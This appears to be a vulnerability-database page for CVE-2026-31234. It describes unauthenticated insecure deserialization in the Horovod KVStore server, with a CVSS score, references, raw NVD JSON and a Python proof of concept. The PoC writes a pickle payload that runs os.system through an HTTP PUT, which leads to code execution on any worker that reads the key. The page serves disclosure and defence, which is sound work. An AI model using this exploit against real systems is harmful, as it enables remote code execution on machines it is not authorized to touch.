CVE-2026-31234

Description

Horovod thru 0.28.1 contains an insecure deserialization vulnerability (CWE-502) in its KVStore HTTP server component. The KVStore server, used for distributed task coordination, lacks authentication and authorization controls, allowing any remote attacker to write arbitrary data via HTTP PUT requests. When a Horovod worker reads data from the KVStore (via HTTP GET), it deserializes the data using cloudpickle.loads() without verifying its source or integrity. An attacker can exploit this by sending a malicious pickle payload to the server before the legitimate data is written, causing the victim worker to deserialize and execute arbitrary code, leading to remote code execution.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Horovod <= 0.28.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import pickle
import os
import requests

# Target Horovod KVStore URL
# CVE-2026-31234: KVStore lacks authentication and allows arbitrary writes
target_url = "http://<target-ip>:<port>/kvstore/key"

# Generate malicious payload using pickle
# This class defines the payload to be executed during deserialization
class Exploit:
    def __reduce__(self):
        # Command to execute on the victim worker
        # Example: creating a file or connecting back
        return (os.system, ('touch /tmp/pwned_by_cve_2026_31234',))

# Serialize the payload
malicious_data = pickle.dumps(Exploit())

# Exploit: Send malicious payload via HTTP PUT
# The server accepts this data without authentication
try:
    print(f"[*] Sending exploit payload to {target_url}...")
    response = requests.put(target_url, data=malicious_data)
    
    if response.status_code == 200:
        print("[+] Payload uploaded successfully.")
        print("[*] Triggering deserialization... wait for a worker to call GET.")
    else:
        print(f"[-] Upload failed. Status: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31234
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31234
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31234/
[4] VulDB https://vuldb.com/cve/CVE-2026-31234
[5] https://github.com/horovod/horovod
[6] https://www.notion.so/CVE-2026-31234-35d1e139318881d585cde508b9d2453c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31234", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:51.743", "lastModified": "2026-05-14T20:17:02.770", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Horovod thru 0.28.1 contains an insecure deserialization vulnerability (CWE-502) in its KVStore HTTP server component. The KVStore server, used for distributed task coordination, lacks authentication and authorization controls, allowing any remote attacker to write arbitrary data via HTTP PUT requests. When a Horovod worker reads data from the KVStore (via HTTP GET), it deserializes the data using cloudpickle.loads() without verifying its source or integrity. An attacker can exploit this by sending a malicious pickle payload to the server before the legitimate data is written, causing the victim worker to deserialize and execute arbitrary code, leading to remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/horovod/horovod", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31234-35d1e139318881d585cde508b9d2453c", "source": "[email protected]"}]}}